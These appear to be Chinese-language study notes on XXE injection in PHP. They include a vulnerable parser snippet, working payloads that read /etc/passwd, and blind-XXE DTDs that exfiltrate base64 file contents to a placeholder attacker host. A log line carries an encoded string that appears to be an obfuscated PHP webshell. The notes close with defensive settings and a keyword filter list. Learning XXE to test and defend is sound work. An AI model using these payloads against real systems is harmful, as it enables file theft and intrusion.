注:
libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用
简析XXE
php漏洞示例:
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
其中发送请求的请求头:当前客户端可以接收的文档类型。
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ELEMENT name ANY >
<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
<a>
<name>&passwd;</name> 标签可以自定义,但由于echo$xml->name,然后echo 只能处理字符串,对其他变量不能处理,因此此处用print_r 效果更好
</a>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
- 直接通过外部实体DTD声明
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
- 通过外部实体引入外部DTD文档,再引入外部实体声明[没有验证成功,更换引用本地dtd也只能读取,解析出错]
这种命名实体调用外部实体,发现xxe.dtd中不能定义/声明实体,否则解析不了。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe
[<!ENTITY a SYSTEM "http://127.0.0.1:8888/test/xxe.dtd" >]>
<name>&b;</name>
- 通过外部参数实体引入外部实体声明
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ENTITY % xxe SYSTEM "http://127.0.0.1:8888/test/xxe.dtd" >
%xxe;
]>
<name>&b;</name>
XXE攻击面的拓展
XXE漏洞检测流程
有回显测试
- 测试是否解析xml:
<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY test "test">
]>
<root>&test;</root>
- 测试是否支持外部实体
用外部参数/普通实体测试一下 (system)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
无回显测试
无防火墙的情况下,可以尝试ssrf
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xx.xx.xx.xx/">
%remote;]>
面对有回显和无回显部分
有回显比较简单暂不考虑
无回显:Blind XXE 构建带外信道
无回显任意文件读取
php://filter/read=convert.base64-encode/resource=./target.php
获取目标内容
然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx
理论上来说 此处使用的逻辑:
通过嵌套形式的使用建立带外数据通道
直接在内部实体声明中引用另一个实体如下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY % param1 SYSTEM "file:///etc/passwd">
<!ENTITY % param2 SYSTEM "http://xx.xx.xx.xx/?%param1">
%param2;
]>
但由于不能在实体声明中引用参数实体,所以只能如下的引用:将嵌套实体声明放入外部实体文件(dtd/xml)
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY % load SYSTEM "http://xx.xx.xx.xx/xxe/xxe1.dtd">
%load;
]>
xxe1.dtd:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=s.php">
<!ENTITY % top '
<!ENTITY % send SYSTEM "http://xx.xx.xx.xx/?%file;">
'>
%top; %send;
>
可以在日志中看到:
"GET /xxe/xxe1.dtd HTTP/1.0" 200 403 "-" "-"
xx.xx.xx.xx - - [28/Dec/2018:12:44:24 +0800] "GET /?PD9waHAKJF8gPSAoJ2EnLidzJy4ncycuJ2UnLidyJy4oJwwnXid4JykpOwokX18gPSAkX0dFVFtfXS4nLy8nOwokX19fPSgkXy4nJyk7CigkX19fKT8kX19fKCRfXyk6JF9fXygkX18pOwo/Pg== HTTP/1.0" 200 2141 "-" "-"
达到任意文件读取的目的
但etc/passwd 直接读取编码后,(用get请求发送会显示读取字符串太长;初步测试长度hash后2945,但感觉这个数据有点怪异,有可能是其他原因)
此处也可以使用支持的其他协议:
libxml2支持: file/http/ftp
php支持:file/http/ftp/php/compress.zlib/compress.bzip2/data/glob/phar
java支持: http/https/ftp/file/jar/netdoc/mailto/gopher
NET支持:file/http/https/ftp
但当探测当目标具有防火墙或类似防护时,即不能直接通过ssrf判断是否存在时,需要变换思路-待补充
XML解析器
学习到这里 顺便学一下 XML解析器
XXE危害:
- 读取任意文件:
- 命令执行
php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装 - 内网探测/SSRF
- 拒绝服务
XXE防御:
- 最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD,即禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
- 过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC
参考资料:
http://docs.ioin.in/writeup/mohemiv.com/_all_exploiting_xxe_with_local_dtd_files_/index.html
https://www.honoki.net/2018/12/from-blind-xxe-to-root-level-file-read-access/
https://blog.csdn.net/u011721501/article/details/43775691